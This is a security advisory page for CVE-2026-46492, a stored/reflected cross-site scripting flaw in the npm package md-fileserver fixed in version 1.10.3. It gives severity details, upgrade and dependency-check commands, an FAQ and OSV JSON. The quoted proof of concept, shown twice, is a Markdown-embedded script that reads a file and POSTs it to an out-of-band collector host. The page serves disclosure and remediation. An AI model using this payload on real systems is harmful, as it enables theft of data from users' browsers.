CVE-2026-46492: md-fileserver Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-32q2-hhr5-6qvv
CVSS 7.2
CWE-87 CWE-80
Published
Advisory Summary

CVE-2026-46492 is a HIGH (CVSS 7.2) cross-site scripting vulnerability (CWE-87: Improper Neutralization of Alternate XSS Syntax) affecting md-fileserver libraries in the npm ecosystem. The issue involves stored/reflected xss when viewing markdown (raw html allowed). Remediation is available by upgrading affected packages to version 1.10.3.

CVE-2026-46492 at a Glance

CVE Identifier CVE-2026-46492
GHSA Identifier GHSA-32q2-hhr5-6qvv
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-87: Improper Neutralization of Alternate XSS Syntax
Affected Product md-fileserver
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-46492

To remediate this vulnerability, upgrade all affected md-fileserver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

md-fileserver fixed: 1.10.3
npm install md-fileserver@1.10.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls md-fileserver

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-46492, inspect your project dependencies using npm:

npm ls md-fileserver

Analyze the terminal output to locate any version of md-fileserver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.10.3), your application is affected.

Note: The npm ls md-fileserver command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-87: Improper Neutralization of Alternate XSS Syntax, where the product does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax. In md-fileserver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including <script> tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain. ### Details An attacker can craft malicious Markdown content containing <script> tags or event handlers (e.g., <img onerror=...>). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser. ### Vulnerable Components config.js → markdownIt: { html: true } (Lines 26–30) The Markdown renderer is explicitly configured to allow raw HTML. lib/markd.js (Lines 33–58) Renders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output. lib/pages/template.html The rendered Markdown is injected into the HTML template using <%= markdown %> without sanitization or output encoding. ### PoC Create a pwn.md ``` # Hello <script> fetch('/etc/passwd', { credentials: 'include' }) .then(r => r.text()) .then(t => fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t })); </script> ``` Open it on browser. <img width="944" height="238" alt="image" src="https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac" /> View the HTTP request in Burp Collaborator. <img width="1328" height="468" alt="image" src="https://github.com/user-attachments/assets/9faa65ad-73ec-42d0-9ce3-ea78b15294d8" /> ### Impact Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser, leading to: - Session hijacking - Account takeover - Credential theft - Defacement or injection of malicious content - Exfiltration of sensitive data via API tokens, CSRF tokens, or user information This affects all users who can view Markdown content within the application.

CVE-2026-46492 Affected md-fileserver Versions

1 component(s)
Fixed Versions:
1.10.3
Product / Package Ecosystem Affected Versions Fixed Version
md-fileserver
npm
< 1.10.3
1.10.3

References

Frequently Asked Questions

What is CVE-2026-46492?
CVE-2026-46492 is a security vulnerability in md-fileserver involving Stored/Reflected XSS when viewing Markdown (raw HTML allowed) under CWE-87: Improper Neutralization of Alternate XSS Syntax.
Which md-fileserver versions are affected?
Affected versions include releases prior to 1.10.3 across affected packages: md-fileserver.
What version fixes CVE-2026-46492?
Upgrading to 1.10.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is md-fileserver affected?
Yes, md-fileserver is affected in releases prior to 1.10.3. Upgrade your dependency to 1.10.3 or later.
What is the CVSS score of CVE-2026-46492?
CVE-2026-46492 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-46492?
CVE-2026-46492 is classified under CWE-87: Improper Neutralization of Alternate XSS Syntax (The product does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.).
How can I check npm dependencies for CVE-2026-46492?
Run the dependency tree command: 'npm ls md-fileserver'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-32q2-hhr5-6qvv",
  "modified" : "2026-06-09T18:41:40Z",
  "published" : "2026-05-21T17:57:32Z",
  "aliases" : [ "CVE-2026-46492" ],
  "summary" : "md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)",
  "details" : "### Summary\nA cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including <script> tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.\n\n### Details\nAn attacker can craft malicious Markdown content containing <script> tags or event handlers (e.g., <img onerror=...>). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser.\n\n### Vulnerable Components\nconfig.js → markdownIt: { html: true } (Lines 26–30)\nThe Markdown renderer is explicitly configured to allow raw HTML.\n\nlib/markd.js (Lines 33–58)\nRenders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.\n\nlib/pages/template.html\nThe rendered Markdown is injected into the HTML template using <%= markdown %> without sanitization or output encoding.\n\n### PoC\nCreate a pwn.md \n```\n# Hello\n\n<script>\n  fetch('/etc/passwd', { credentials: 'include' })\n    .then(r => r.text())\n    .then(t => fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t }));\n</script>\n\n```\nOpen it on browser.\n<img width=\"944\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac\" />\nView the HTTP request in Burp Collaborator.\n<img width=\"1328\" height=\"468\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9faa65ad-73ec-42d0-9ce3-ea78b15294d8\" />\n\n\n### Impact\nSuccessful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser, leading to:\n- Session hijacking\n- Account takeover\n- Credential theft\n- Defacement or injection of malicious content\n- Exfiltration of sensitive data via API tokens, CSRF tokens, or user information\n\nThis affects all users who can view Markdown content within the application.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "md-fileserver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.10.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/commenthol/md-fileserver/security/advisories/GHSA-32q2-hhr5-6qvv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46492"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/commenthol/md-fileserver"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/commenthol/md-fileserver/releases/tag/v1.10.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-80", "CWE-87" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-21T17:57:32Z",
    "nvd_published_at" : "2026-06-09T17:17:33Z"
  }
}